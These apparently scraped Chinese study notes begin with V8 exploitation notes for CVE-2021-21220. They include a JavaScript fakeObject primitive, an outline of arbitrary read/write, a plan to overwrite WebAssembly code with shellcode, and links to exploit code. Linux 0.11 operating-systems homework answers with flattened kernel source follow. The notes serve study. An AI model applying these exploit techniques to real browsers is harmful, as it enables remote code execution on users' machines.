fakeObject 将指定内存强制转换为一个js对象(有什么用呢?)
123456789// 将某个addr强制转换为object对象function fakeObject(addr_to_fake){ float_array[0] = i2f(addr_to_fake + 1n); float_array.oob(obj_array_map); let faked_obj = float_array[0]; float_array.oob(float_array_map); // 还原array类型以便后续继续使用 return faked_obj;}
如何实现任意地址读写:构造AAR/AAW原语https://paper.seebug.org/1821/#wasm
fakeObject强制将一块内存伪造成一个数组对象??? 它的elements 指针是可控的,而这个指针指向了存储数组元素内容的内存地址。如果我们将这个指针修改为我们想要访问的内存地址,那后续我们访问这个数组对象的内容,实际上访问的就是我们修改后的内存地址指向的内容,这样也就实现了对任意指定地址的内存访问读写效果了。
哦哦哦因为可以任意访问,把这个当成一个数组对象了,那么对这个数组,我们是可以任意读取和修改的????
wasm(webassembly) 实现执行shellcodehttps://paper.seebug.org/1821/#wasm
https://www.freebuf.com/vuls/203721.html
简单来说,wasm就是可以让JavaScript直接执行高级语言生成的机器码的一种技术。
https://sensepost.com/blog/2018/introduction-to-webassembly/
利用思路首先加载一段wasm代码到内存中然后通过addresssOf原语找到存放wasm的内存地址接着通过任意地址写原语用shellcode替换原本wasm的代码内容最后调用wasm的函数接口即可触发调用shellcode
参考资料漏洞复现参考https://blog.csdn.net/m0_56642842/article/details/118358830 这个就是教你怎么复现,不涉及原理
https://www.cnblogs.com/7omss/p/15661338.html + 1
exploit:https://share.weiyun.com/EXlNm02A
浏览器:https://share.weiyun.com/fZLcxFe9
漏洞分析、调试及RCE步骤参考https://zhuanlan.zhihu.com/p/365297858
https://blog.csdn.net/smellycat000/article/details/116078164
https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce
https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js
https://buaq.net/go-97833.html
https://ruan777.github.io/2022/01/18/chrome-cve-2021-21220分析/
https://github.com/Bounty-Team/Bounty-Team.github.io/blob/e0f717119de0c8a46aef0bde3e2bf2a4a9fe71bc/_posts/2021-04-16-CVE-2021-21220.md
https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce
https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf
https://www.sohu.com/a/383228797_354899
https://bounty-team.github.io/vulnerability analysis/2021/04/16/CVE-2021-21220/
https://www.freebuf.com/vuls/269629.html
https://www.cjovi.icu/CVE/1586.html
https://xz.aliyun.com/t/5190。v8 exploit入门[PlaidCTF roll a d8]
https://gtoad.github.io/2019/07/25/V8-Debug/ V8引擎漏洞分析环境与调试方法基础
https://paper.seebug.org/1850/ 从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)
https://www.freebuf.com/vuls/230182.html。v8利用入门:从越界访问到RCE
https://www.freebuf.com/vuls/203721.html
https://www.cjovi.icu/CVE/1586.html
https://tiszka.com/blog/CVE_2021_21225.html
https://kiprey.github.io/2021/01/v8-turboFan/
ucas-操作系统-思考题下
21.进程0创建进程1时,为进程1建立了task_struct及内核栈,第一个页表,分别位于物理内存16MB顶端倒数第一页、第二页。请问,这两个页究竟占用的是谁的线性地址空间,内核、进程0、进程1、还是没有占用任何线性地址空间?说明理由(可以图示)并给出代码证据。p92
第一页task_struct 就是进程1的
第二页是和进程0一样的线性地址空间?
22.假设:经过一段时间的运行,操作系统中已经有5个进程在运行,且内核分别为进程4、进程5分别创建了第一个页表,这两个页表在谁的线性地址空间?用图表示这两个页表在线性地址空间和物理地址空间的映射关系。23.代码中的”ljmp %0\n\t” 很奇怪,按理说jmp指令跳转到得位置应该是一条指令的地址,可是这行代码却跳到了”m” (*&__tmp.a),这明明是一个数据的地址,更奇怪的,这行代码竟然能正确执行。请论述其中的道理。p106\127
include/linux/sched.h
1234567891011121314151617181920/* * switch_to(n) should switch tasks to task nr n, first * checking that n isn't the current task, in which case it does nothing. * This also clears the TS-flag if the task we switched to has used * tha math co-processor latest. */#define switch_to(n) {\struct {long a,b;} __tmp; \__asm__("cmpl %%ecx,_current\n\t" \ "je 1f\n\t" \ "movw %%dx,%1\n\t" \ "xchgl %%ecx,_current\n\t" \ //强行切到进程0 "ljmp %0\n\t" \ //第一次执行完 for pause 这一行执行完了执行 _syscall0的 if(__res >=0) || 看这里 copy_process: p->tss.eip = eip; "cmpl %%ecx,_last_task_used_math\n\t" \ //进程0回到for pause "jne 1f\n\t" \ "clts\n" \ "1:" \ ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ //IA32 任务切换 "d" (_TSS(n)),"c" ((long) task[n])); \}
ljmp通过CPU的任务门机制并为实际使用任务门,它把CPU的各个寄存器值保存在当前进程的TSS中,将要转换的进程的TSS数据以及LDT的代码段、数据段描述符数据恢复给CPU的各个寄存器,从而实现进程的切换
a代表EIP、b对应cs
24.进程0开始创建进程1,调用fork(),跟踪代码时我们发现,fork代码执行了两次,第一次,执行fork代码后,跳过init()直接执行了for(;;) pause(),第二次执行fork代码后,执行了init()。奇怪的是,我们在代码中并没有看到向转向fork的goto语句,也没有看到循环语句,是什么原因导致fork反复执行?请说明理由(可以图示),并给出代码证据。p2 p107
这个题的话,需要追踪一下fork的流程
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103init/main.c if (!fork()) { /* we count on this going ok */ init(); //进程1 }static inline _syscall0(int,fork)进入到include/unistd.h#define _syscall0(type,name) \\type name(void) \\{ \\long __res; \\__asm__ volatile ("int $0x80" \\ //int 0x80到哪呀, syscall 在sched_init那里,执行完,特权变0 : "=a" (__res) \\ : "0" (__NR_##name)); \\ //把name 贴过来if (__res >= 0) \\ return (type) __res; \\errno = -__res; \\return -1; \\}然后通过int $0x80int $0x80 p71 系统调用总入口int $0x80kernel/system_call.s.align 2_system_call: cmpl $nr_system_calls-1,%eax ;核实独立访问? ja bad_sys_call push %ds ;对齐?? push %es push %fs pushl %edx pushl %ecx # push %ebx,%ecx,%edx as parameters pushl %ebx # to the system call movl $0x10,%edx # set up ds,es to kernel space mov %dx,%ds mov %dx,%es movl $0x17,%edx # fs points to local data space mov %dx,%fs call _sys_call_table(,%eax,4) ; 从这里过去的 pushl %eax movl _current,%eax cmpl $0,state(%eax) # state jne reschedule cmpl $0,counter(%eax) # counter je rescheduleret_from_sys_call: movl _current,%eax # task[0] cannot have signals cmpl _task,%eax je 3f cmpw $0x0f,CS(%esp) # was old code segment supervisor ? jne 3f cmpw $0x17,OLDSS(%esp) # was stack segment = 0x17 ? jne 3f movl signal(%eax),%ebx movl blocked(%eax),%ecx notl %ecx andl %ebx,%ecx bsfl %ecx,%ecx je 3f btrl %ecx,%ebx movl %ebx,signal(%eax) incl %ecx pushl %ecx call _do_signal popl %eax3: popl %eax popl %ebx popl %ecx popl %edx pop %fs pop %es pop %ds iret _sys_call_table是在这里:include/linux/sys.hextern int sys_fork(); //对应 kernel/system_call.s中的_sys_forkfn_ptr sys_call_table[] = { sys_setup, sys_exit, sys_fork, sys_read,sys_write, sys_open, sys_close, sys_waitpid, sys_creat, sys_link,....}call的函数对应着这个:kernel/system_call.s.align 2 ;对齐的意思 _sys_fork: call _find_empty_process ; kernel/fork.c 寻找空的进程任务号 task[i] testl %eax,%eax ;1 js 1f ; f d 前后的意思 push %gs pushl %esi pushl %edi pushl %ebp pushl %eax call _copy_process ;操作系统核心函数!!!复制进程!!!!!! addl $20,%esp1: ret
注意,当_sys_fork执行完之后,会回到 _system_call 继续往下执行,执行到下面一条语句的时候跳转
je 3f ; 如果当前进程是进程0,跳转到下面的3处执行,现在是进程0,所以跳转
3处最后的iret会把ss、esp、eflags、cs、eip弹出,eip存储的是_syscall0中int $0x80的下一行,也就是if (__res >= 0)
1234567891011121314151617181920212223242526272829303132333435363738.align 2_system_call:........... call _sys_call_table(,%eax,4) ; 从这里过去的 pushl %eax ; 回到这里!! movl _current,%eax cmpl $0,state(%eax) # state jne reschedule cmpl $0,counter(%eax) # counter je rescheduleret_from_sys_call: movl _current,%eax # task[0] cannot have signals cmpl _task,%eax je 3f ; 如果当前进程是进程0,跳转到下面的3处执行,现在是进程0,所以跳转 cmpw $0x0f,CS(%esp) # was old code segment supervisor ? jne 3f cmpw $0x17,OLDSS(%esp) # was stack segment = 0x17 ? jne 3f movl signal(%eax),%ebx movl blocked(%eax),%ecx notl %ecx andl %ebx,%ecx bsfl %ecx,%ecx je 3f btrl %ecx,%ebx movl %ebx,signal(%eax) incl %ecx pushl %ecx call _do_signal popl %eax3: popl %eax popl %ebx popl %ecx popl %edx pop %fs pop %es pop %ds iret
这个时候,res就是eax,eax是哪里得到的呢? 是在_system_call的时候(也就是int $0x80的时候),call完了sys_fork的时候,sys_fork返回时,执行的pushl %eax, sys_fork的返回值是last_pid,也就是创建的的pid,此时就是1
123456kernel/system_call.s.align 2_system_call: .... call _sys_call_table(,%eax,4) ; 从这里过去的 pushl %eax
12345678910111213#define _syscall0(type,name) \\type name(void) \\{ \\long __res; \\__asm__ volatile ("int $0x80" \\ //int 0x80到哪呀, syscall 在sched_init那里,执行完,特权变0 : "=a" (__res) \\ : "0" (__NR_##name)); \\ //把name 贴过来if (__res >= 0) \\ return (type) __res; \\errno = -__res; \\return -1; \\}
调用完了fork回到main,fork的返回值是1,所以!fork()是0,不进入到里面执行,进入到下面的pause
12345if (! fork()) { /* we count on this going ok */ init(); //进程1 }for(;;) pause(); //这一行是进程0的代码
12345678kernel/sched.hint sys_pause(void){ current->state = TASK_INTERRUPTIBLE; schedule(); return 0;}
进入schedule调度函数
25、打开保护模式、分页后,线性地址到物理地址是如何转换的?26、getblk函数中,申请空闲缓冲块的标准就是b_count为0,而申请到之后,为什么在wait_on_buffer(bh)后又执行if(bh->b_count)来判断b_count是否为0?p114
这个要看wait_on_buffer函数的功能了,它里面有sleep_on函数,而sleep_on函数里面包含了schedule函数,虽然现在的缓冲块是合适的,但是有可能在睡眠阶段的时候被别的任务占用,所以在使用之前需要判断是否被修改了,修改的话就需要等待解锁
1234567891011121314151617181920212223242526272829fs/buffer.c static inline void wait_on_buffer(struct buffer_head * bh){ cli(); while (bh->b_lock) sleep_on(&bh->b_wait); //bh在哪? bh全局的,buf init那里 //不要傻等,切进程, 有主动轮询变为被动响应 sti();}kernel/sched.hvoid sleep_on(struct task_struct **p){ struct task_struct *tmp;// 有的是请求项 有的是缓冲块等待队列 if (!p) return; if (current == &(init_task.task)) panic("task[0] trying to sleep"); tmp = *p; // bh->b_wait *p = current; current->state = TASK_UNINTERRUPTIBLE; schedule(); if (tmp) tmp->state=0;}
27、b_dirt已经被置为1的缓冲块,同步前能够被进程继续读、写?给出代码证据。p331
要回答这个问题先得了解下b_uptodate,b_uptodate设置为1的时候(P326),标志着缓冲块中的数据是基于硬盘数据块的,内核可以放心地支持进程与缓冲块进行数据交互.
此时,读操作不会改写缓冲块的数据,所以不会影响硬盘数据块的内容,如果写的话,就需要改变缓冲块的内容,此时,将b_dirt置为1,在同步前,当然可以继续读写了..我觉得这很显然.
老师大概想表达的意思是,b_dirt虽然被置为1了,但是在此之前,硬盘->缓冲块这一路径已经同步过了,没有改写的部分是同步的,改写的那肯定就是改写的,所以不影响我们继续读写, b_uptodate仍然设置为1,它为1就标志着我们仍然可以读写
代码证据 想要的证据是说读写都不需要检查b_dirt位嘛?或者说改变了b_dirt不会改变b_uptodate?
P331的file_write
P314的 file_read
P330的 bread getblk
1
28、分析panic函数的源代码,根据你学过的操作系统知识,完整、准确的判断panic函数所起的作用。假如操作系统设计为支持内核进程(始终运行在0特权级的进程),你将如何改进panic函数?赵炯p175
kernel/panic.c
123456789101112131415161718192021222324/* * linux/kernel/panic.c * * (C) 1991 Linus Torvalds *//* * This function is used through-out the kernel (includeinh mm and fs) * to indicate a major problem. */#include <linux/kernel.h>#include <linux/sched.h>void sys_sync(void); /* it's really int */volatile void panic(const char * s){ printk("Kernel panic: %s\n\r",s); if (current == task[0]) printk("In swapper task - not syncing\n\r"); else sys_sync(); for(;;);}
sys_sync 在 fs/buffer.c
1234567891011121314int sys_sync(void){ int i; struct buffer_head * bh; sync_inodes(); /* write out inodes into buffers */ bh = start_buffer; for (i=0 ; i<NR_BUFFERS ; i++,bh++) { wait_on_buffer(bh); if (bh->b_dirt) ll_rw_block(WRITE,bh); } return 0;}
29、详细分析进程调度的全过程。考虑所有可能(signal、alarm除外)p103 p125
30、wait_on_buffer函数中为什么不用if()而是用while()? 因为它可能会执行很多次呀,要进行轮询,if只能判断一次,那为啥可能会执行很多次呢? 因为操作系统是很复杂,存在很多种可能,其中一种就是:
很多歌进程都在等待同一个缓冲块,在缓冲块同步完毕的时候,唤醒各个等待进程到轮转到某一个进程的过程中,很有可能此时的缓冲块又被其他进程占用了,并且被加上了锁. 如果用if的话,只判断一次,就会出现错误,while的话则会重新判断.
12345678910fs/buffer.c static inline void wait_on_buffer(struct buffer_head * bh){ cli(); while (bh->b_lock) sleep_on(&bh->b_wait); //bh在哪? bh全局的,buf init那里 //不要傻等,切进程, 有主动轮询变为被动响应 sti();}
31、操作系统如何利用b_uptodate保证缓冲块数据的正确性?new_block (int dev)函数新申请一个缓冲块后,并没有读盘,b_uptodate却被置1,是否会引起数据混乱?详细分析理由。p325、328、329
b_uptodate针对进程方向,它的作用是告诉内核,只要缓冲块的b_uptodate位1,则缓冲块的数据就是数据块中最新的了,可以放心地支持进程共享缓冲块的数据.反之如果为0,就提醒内核缓冲块并没有用绑定的数据块中的数据更新,不支持进程共享该缓冲块
new_block是在设备商申请一个新的数据块,那么数据块里面此时是脏数据,不用管(是要管的,需要清零),那为啥把b_uptodate设置为1呢,因为缓冲块里也是脏数据,缓冲块和数据块都是脏数据,根本就不需要同步,同步也是浪费时间和精力
下面进行详细的分析,新建的数据块只能用于两种用途,一种是存储文件的内容,一种是存储文件的i_zone的间接块管理信息.
如果是存储文件的内容的话,就是上面所说,都是垃圾数据,不需要同步,不需要清零的其实,问题已经解决(或者说本身没有问题)
如果是存储i_zone的间接块管理信息,则必须将缓冲块清零,表示没有索引间接数据块,否则垃圾数据会导致索引错误,破坏文件操作的正确性,这个时候虽然缓冲块和硬盘数据块的数据不一致,但和第一种情况一样,b_uptodate设置为1即可
12345678910111213fs/Bitmap.c int new_block(int dev){......... if (bh->b_count != 1) panic("new block: count is != 1"); clear_block(bh->b_data); bh->b_uptodate = 1; bh->b_dirt = 1; brelse(bh); return j;}
32、add_request()函数中有下列代码 其中的xxx是什么意思?p121
赵炯的书p202
测试块设备的当前请求项指针是不是为空(也就是没有请求项,设备空闲),如果是的话,就会设置该新建的请求项为当前请求项,作为请求项链表的表头
kernel/blk_dev/ll_rw_block.c
1234567891011121314151617181920/* * add-request adds a request to the linked list. * It disables interrupts so that it can muck with the * request-lists in peace. */static void add_request(struct blk_dev_struct * dev, struct request * req){..... if (!(tmp = dev->current_request)) { dev->current_request = req; sti(); (dev->request_fn)(); // return; }.....}问的是,以下代码if (!(tmp = dev->current_request)) { dev->current_request = req;
33、do_hd_request()函数中dev的含义始终一样吗?p122
赵炯p195
kernel/blk_dev/hd.c
34、read_intr()函数中,下列代码是什么意思?为什么这样做?p131
read_intr()函数会将已经读到硬盘缓存中的数据复制到刚才被锁定的那个缓冲块中(注意,锁定的意思是阻止进程方面的操作,而不是阻止外设方面的操作)
但是一次不一定就读完呀,所以就会有下面的代码,来判断请求项对应的缓冲块的数据是否读完了,如果没有读完的话,内核将再次把read_intr()绑定在硬盘中断服务程序上,以待下次使用,之后中断服务程序返回
其实还没太理解这个–,是减的什么东西
kernel/blk_dev/hd.c
12345678910111213141516171819202122232425static void read_intr(void){ if (win_result()) { bad_rw_intr(); do_hd_request(); return; } port_read(HD_DATA,CURRENT->buffer,256); CURRENT->errors = 0; CURRENT->buffer += 512; CURRENT->sector++; if (--CURRENT->nr_sectors) { do_hd = &read_intr; //再来一次 return; } end_request(1); // do_hd_request();}问的是这一段代码是什么意思 if (--CURRENT->nr_sectors) { do_hd = &read_intr; //再来一次 return; }
请求项的结构体在哪?
kernel/lkd_drv/blk.h
1234567891011121314151617/* * Ok, this is an expanded form so that we can use the same * request for paging requests when that is implemented. In * paging, 'bh' is NULL, and 'waiting' is used to wait for * read/write completion. */struct request { int dev; /* -1 if no request */ int cmd; /* READ or WRITE */ int errors; unsigned long sector; unsigned long nr_sectors; char * buffer; struct task_struct * waiting; struct buffer_head * bh; struct request * next;};
35、bread()函数代码中为什么要做第二次if (bh->b_uptodate)判断?p112、134. 赵炯 p342
第一次是在找有没有被使用过的
fs/buffer.c
12345678910111213141516171819/* * bread() reads a specified block and returns the buffer that contains * it. It returns NULL if the block was unreadable. */struct buffer_head * bread(int dev,int block){ struct buffer_head * bh;// if (!(bh=getblk(dev,block))) //找不到就应该继续等,所以不应该为空 panic("bread: getblk returned NULL\n"); if (bh->b_uptodate) return bh; ll_rw_block(READ,bh); //开始读写硬盘了,硬盘驱动 wait_on_buffer(bh); if (bh->b_uptodate) return bh; brelse(bh); return NULL;}
36、getblk()函数中,两次调用wait_on_buffer()函数,两次的意思一样吗?p125 bread里面一次
37、getblk()函数中 do { if (tmp->b_count) continue; if (!bh || BADNESS(tmp)<BADNESS(bh)) { bh = tmp; if (!BADNESS(tmp)) break; }/* and repeat until we find something good */ } while ((tmp = tmp->b_next_free) != free_list);说明什么情况下执行continue、break。38、make_request()函数 if (req < request) { if (rw_ahead) { unlock_buffer(bh); return; } sleep_on(&wait_for_request); goto repeat;其中的sleep_on(&wait_for_request)是谁在等?等什么?参考资料《Linux内核设计的艺术 第二版》 新设计团队
《Linux内核完全注释》 赵炯
《IA32》 手册 第三卷
https://www.likecs.com/show-204742912.html
https://github.com/sunym1993/flash-linux0.11-talk
ucas-操作系统-思考题上
思考题 上1.为什么开始启动计算机的时候,执行的是BIOS代码而不是操作系统自身的代码?p1
因为在启动加电时,操作系统本身还没有加载进内存,内存中是空的(或者说乱七八糟的东西?),无法进行执行.(CPU的逻辑电路被设定为只能运行内存中的程序) 而bios中的代码是写死的,所以可以直接跳转到biso处进行执行.
2.为什么BIOS只加载了一个扇区,后续扇区却是由bootsect代码加载?为什么BIOS没有直接把所有需要加载的扇区都加载?加载了一个扇区之后,操作系统就有能力继续加载后续的扇区了,这样做的原因大概是为了减小bios的大小? 或者提高速度? 或者给操作系统设计者更大的自由空间?
bootsect需要进行规划内存,(为啥bios不能规划呢? 因为取决于操作系统?不同的操作系统不一样),进行一些自定义的内容. 而且bios来的话,应该是比较慢的,全加载进去再执行的话,一个是慢,还有就是不灵活.所以linux采用的是边加载边执行的思路!
上面的回答大概应该都有一点
3.为什么BIOS把bootsect加载到0x07c00,而不是0x00000?加载后又马上挪到0x90000处,是何道理?为什么不一次加载到位?p8
感觉这就是个约定问题,就好像12345这样一样
挪到0x90000是因为操作系统设计者对内存的规划,原先加载到0x07c00是统一的,之后可以按照自己的分配来进行
4.bootsect、setup、head程序之间是怎么衔接的?给出代码证据。
bootsect和setup的衔接bootsect 把自己移位,然后先把setup加载到0x90200开始的四个扇区,又把从硬盘第 6 个扇区开始往后的 240 个扇区,加载到内存 0x10000 处
然后通过下面这条指令跳转到setup
jmpi 0,SETUPSEG; 0x9020 跳转到setup.s开始继续执行了!!! (此时还是实模式, 偏移地址+ 基地址, 0+ 0x9020*0x10 = 0x90200
12345678910111213141516171819202122232425262728293031323334353637383940414243;移位entry start start: ;内存中0x07C00对应的就是这里 mov ax,#BOOTSEG ;0x07C00 mov ds,ax mov ax,#INITSEG ;0x9000 mov es,ax ;进行复制,挪位置,把0x07c00 挪到0x9000 mov cx,#256 sub si,si sub di,di rep movw ;移动一个字 两个字节 512 /2 -256次 jmpi go,INITSEG ; 跳到新的位置,;加载setup.s的四个扇区load_setup: ; 加载4个扇区 mov dx,#0x0000 ! drive 0, head 0 mov cx,#0x0002 ! sector 2, track 0 mov bx,#0x0200 ! address = 512, in INITSEG mov ax,#0x0200+SETUPLEN ! service 2, nr of sectors int 0x13 ! read it bios的中断,读取磁盘 jnc ok_load_setup ! ok - continue mov dx,#0x0000 mov ax,#0x0000 ! reset the diskette int 0x13 j load_setup;加载head和剩余的操作系统ok_load_setup:! 把从硬盘第 6 个扇区开始往后的 240 个扇区,加载到内存 0x10000 处 mov ax,#SYSSEG。;0x1000 mov es,ax ! segment of 0x010000 call read_it call kill_motor seg cs mov ax,root_dev cmp ax,#0 jne root_defined;跳转到setup.sroot_defined: seg cs mov root_dev,ax jmpi 0,SETUPSEG; 0x9020 跳转到setup.s开始继续执行了!!!
setup.s和head.s的衔接1.setup.s把head.s及之后的代码都移动到了内存0开始的地方(do_move)
2.设置gdt、ldt(end_move)
3.开保护模式, jmpi 0,8 跳转到了head.s
123mov ax,#0x0001 ! protected mode (PE) bit。 保护模式. PE,不是任何人都可以修改lmsw ax ! This is it!jmpi 0,8 ! jmp offset 0 of segment 8 (cs) gdt的1项, 0开始编号,第二项
5.setup程序的最后是jmpi 0,8 ,为什么这个8不能简单的当作阿拉伯数字8看待,究竟有什么内涵?p25
https://mp.weixin.qq.com/s/S5zarr9BmLhUHAmdmeNypA
123mov ax,#0x0001 ; protected mode (PE) bitlmsw ax ; This is it;jmpi 0,8 ! jmp offset 0 of segment 8 (cs) gdt的1项, 0开始编号,第二项
在执行这条指令前已经转变为了保护模式, 保护模式的寻址方式变了,需要通过段选择子,段寄存器中存储的不再是地址,而是段选择子
0 表示段内偏移地址, 8代表cs(代码段)的值, 更具体而言,8是 0000,0000,0000,1000
根据下图段选择子的结构可以看出,1是代表了描述符索引,即gdt表的第一项,也就是现在地址的0!
gdt表在此之前已经初始化过,第一项是内核代码段,base address = 0 , 偏移地址也是0,所以跳转到内存的0地址
123456789101112gdt: .word 0,0,0,0 ; dummy .word 0x07FF ; 8Mb - limit=2047 (2048*4096=8Mb) .word 0x0000 ; base address=0 .word 0x9A00 ; code read/exec .word 0x00C0 ; granularity=4096, 386 .word 0x07FF ; 8Mb - limit=2047 (2048*4096=8Mb) .word 0x0000 ; base address=0 .word 0x9200 ; data read/write .word 0x00C0 ; granularity=4096, 386
6.保护模式在“保护”什么?它的“保护”体现在哪里?特权级的目的和意义是什么?分页有“保护”作用吗?p438
保护模式在保护段,通过段机制划分不同的段,设置各个段的访问权限. 增加了段限长,防止了对代码段的覆盖以及超越权限的访问
特权级的目的是 阻止非法的访问, 对用户进程之间进行了隔离
意义是保护了资源
分页有保护作用,分页使得用户无法直接找到物理地址,用户只能操作逻辑地址,而逻辑地址需要先转化为线性地址,然后才能进一步转化为物理地址
7.在setup程序里曾经设置过gdt,为什么在head程序中将其废弃,又重新设置了一个?为什么设置两次,而不是一次搞好?p33
因为第一次设置GDT是在setup.s里面设置的数据,setup.s将来会在设计缓冲区时被覆盖,所以需要改变位置. 其实这是设计者精心打磨内存使用空间而产生的后果,尽可能不浪费一点空间,head.s执行时,gdt又被写到了head.s执行过的程序中,实现了内存的充分利用.
8.进程0的task_struct在哪?具体内容是什么?在哪?include/linux/sched.h 是写死的,在INIT_ TASK里,运行时位于内核数据区
在未初始化进程0之前,使用的是boot阶段的内核栈(user_stack) 很奇怪吧,内核栈却叫user_stack,p34
具体内容?包含了进程各项初始化的内容,具体的话可以看task_struct,附在下面了. (include/linux/sched.h )
如:进程0的进程状态,LDT,TSS等 p68
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758/* * INIT_TASK is used to set up the first task table, touch at * your own risk!. Base=0, limit=0x9ffff (=640kB) */ // 下面的就是进程0的各个参数的具体值#define INIT_TASK \/* state etc */ { 0,15,15, \ // 0是说可以跑,而不是正在跑 /* signals */ 0,{{},},0, \/* ec,brk... */ 0,0,0,0,0,0, \/* pid etc.. */ 0,-1,0,0,0, \/* uid etc */ 0,0,0,0,0,0, \/* alarm */ 0,0,0,0,0,0, \/* math */ 0, \/* fs info */ -1,0022,NULL,NULL,NULL,0, \/* filp */ {NULL,}, \ { \ {0,0}, \/* ldt */ {0x9f,0xc0fa00}, \ {0x9f,0xc0f200}, \ }, \/*tss*/ {0,PAGE_SIZE+(long)&init_task,0x10,0,0,0,0,(long)&pg_dir,\ 0,0,0,0,0,0,0,0, \ 0,0,0x17,0x17,0x17,0x17,0x17,0x17, \ _LDT(0),0x80000000, \ {} \ }, \}struct task_struct { // 非常非常非常重要,操作系统里最核心的东西/* these are hardcoded - don't touch */ long state; /* -1 unrunnable, 0 runnable, >0 stopped */ //状态 long counter; //时间片 long priority; long signal; struct sigaction sigaction[32]; long blocked; /* bitmap of masked signals *//* various fields */ int exit_code; unsigned long start_code,end_code,end_data,brk,start_stack; //malloc从这里划 long pid,father,pgrp,session,leader; unsigned short uid,euid,suid; unsigned short gid,egid,sgid; long alarm; long utime,stime,cutime,cstime,start_time; unsigned short used_math;/* file system info */ int tty; /* -1 if no tty, so it must be signed */ unsigned short umask; struct m_inode * pwd; struct m_inode * root; struct m_inode * executable; unsigned long close_on_exec; struct file * filp[NR_OPEN];/* ldt for this task 0 - zero 1 - cs 2 - ds&ss */ struct desc_struct ldt[3];/* tss for this task */ struct tss_struct tss;};
9.内核的线性地址空间是如何分页的?画出从0x000000开始的7个页(包括页目录表、页表所在页)的挂接关系图,就是页目录表的前四个页目录项、第一个页表的前7个页表项指向什么位置?给出代码证据。p37
赵炯p438
注意是线性地址空间,线性地址空间远大于物理地址空间,线性地址空间是 64k * 64k = 4G。 0xFFFFFF 2的32次方
分页4k大小为一页
setup_paging开始
第一页是页目录表,随后的4个页表是内核专属的页表
分别代表什么呢? 第一个是不是gdt?? gdt在哪??
12345678910111213141516171819202122232425head.s.align 2setup_paging: movl $1024*5,%ecx /* 5 pages - pg_dir+4 page tables */ xorl %eax,%eax xorl %edi,%edi /* pg_dir is at 0x000 */ cld;rep;stosl movl $pg0+7,_pg_dir /* set present bit/user r/w 111 */ ;111 已分页 三特权? 可读写 movl $pg1+7,_pg_dir+4 /* --------- " " --------- */ movl $pg2+7,_pg_dir+8 /* --------- " " --------- */ movl $pg3+7,_pg_dir+12 /* --------- " " --------- */ movl $pg3+4092,%edi movl $0xfff007,%eax /* 16Mb - 4096 + 7 (r/w user,p) */ std1: stosl /* fill pages backwards - more efficient :-) */ subl $0x1000,%eax jge 1b xorl %eax,%eax /* pg_dir is at 0x0000 */ movl %eax,%cr3 /* cr3 - page directory start 恒等映射 物理 = 线性*/ movl %cr0,%eax orl $0x80000000,%eax /*打开分页*/ movl %eax,%cr0 /* set paging (PG) bit */ ret /* this also flushes prefetch-queue */ ; 切换到main函数
页目录表、页表、页一个页目录表项是4byte,也就是32位,通过它来寻址一个页表, 页目录表一共4* 1024 = 4k大小
一个页表也是4byte,每一个页表有1024个页表项,也是 4k 占用一页
开始的前7个页是什么意思呢?p39
也就是前7个4k, 第一个4k是页目录表,第2~7个4k是第一个页表的
赵炯p78
挂接关系图p39
10.在head程序执行结束的时候,在idt的前面有184个字节的head程序的剩余代码,剩余了什么?为什么要剩余?11.为什么不用call,而是用ret“调用”main函数?画出调用路线图,给出代码证据。https://mp.weixin.qq.com/s/ISyaX5zPWRw_d-9zvZUPUg
因为main函数是整个系统的运行函数,它不能被call,没有比它等级更高的,call的话是需要返回的,main不需要返回,main结束了,就关机了(
正常函数调用是会把eip(被掉函数返回时 返回的地址) 进行压栈, ret的时候取出来,进入到这里继续执行,main不能被调用,但可以伪造被调用的假象,然后也进行ret,就可以进入到main里了
调用路线图 p42正常的call
模仿的call
代码head.s123456789101112131415startup_32: jmp after_page_tablesafter_page_tables: pushl $0 # These are the parameters to main :-) pushl $0 pushl $0 pushl $L6 # return address for main, if it decides to. pushl $_main ; 后面把这个pop出来 jmp setup_pagingsetup_paging: ... ret ;回到main函数
12.用文字和图说明中断描述符表是如何初始化的,可以举例说明(比如:set_trap_gate(0,÷_error)),并给出代码证据。p53页
/init/main.c trap_init();
/kernel/trap.c trap_init()
/include/asm/system.h
1234567891011121314151617181920//设置中断门函数#define set_intr_gate(n,addr) \ // n 中断号 addr 中断程序偏移地址 _set_gate(&idt[n],14,0,addr) //&idt[n]对应中断号在中断描述符表中的偏移值;中断描述符的类型是 14,特权级是 0。//设置陷阱门函数#define set_trap_gate(n,addr) \ _set_gate(&idt[n],15,0,addr) // idt表的n项,f,0, 0对应dpl,15对应type ,以二进制来看到//设置系统调用门函数#define set_system_gate(n,addr) \ _set_gate(&idt[n],15,3,addr)#define _set_gate(gate_addr,type,dpl,addr) \__asm__ ("movw %%dx,%%ax\n\t" \ //实现了偏移的拆分 "movw %0,%%dx\n\t" \ //将偏移的低字给dx "movl %%eax,%1\n\t" \ "movl %%edx,%2" \ //差四字节 : \ : "i" ((short) (0x8000+(dpl<<13)+(type<<8))), \ "o" (*((char *) (gate_addr))), \ "o" (*(4+(char *) (gate_addr))), \ "d" ((char *) (addr)),"a" (0x00080000)) // jump 08》???
13.在IA-32中,有大约20多个指令是只能在0特权级下使用,其他的指令,比如cli,并没有这个约定。奇怪的是,在Linux0.11中,3特权级的进程代码并不能使用cli指令,这是为什么?请解释并给出代码证据。原因解释: 这个东西和特权级有关(废话),这个是intel的规定,cli和sti与CPL和EFLAGS[IOPL]相关,通过EFLAGS中的IOOPL来保护一些敏感io指令,如cli、sti、in、out等,只有当CPL≤IOPL时才能执行,也就是说当前特权级大于IOPL设置的特权级才可以执行、否则会产生一个一般性保护异常
IOPL位于EFLAGS的12-13位,只能通过iret改变,linux0.11的0进程,INIT_TASK中IOPL为0,在move_to_user_mode中执行了pushfl\n\t,继承了内核的EFLAGS,所以用户态的3特权级大于IOPL的0特权级,无法调用cli
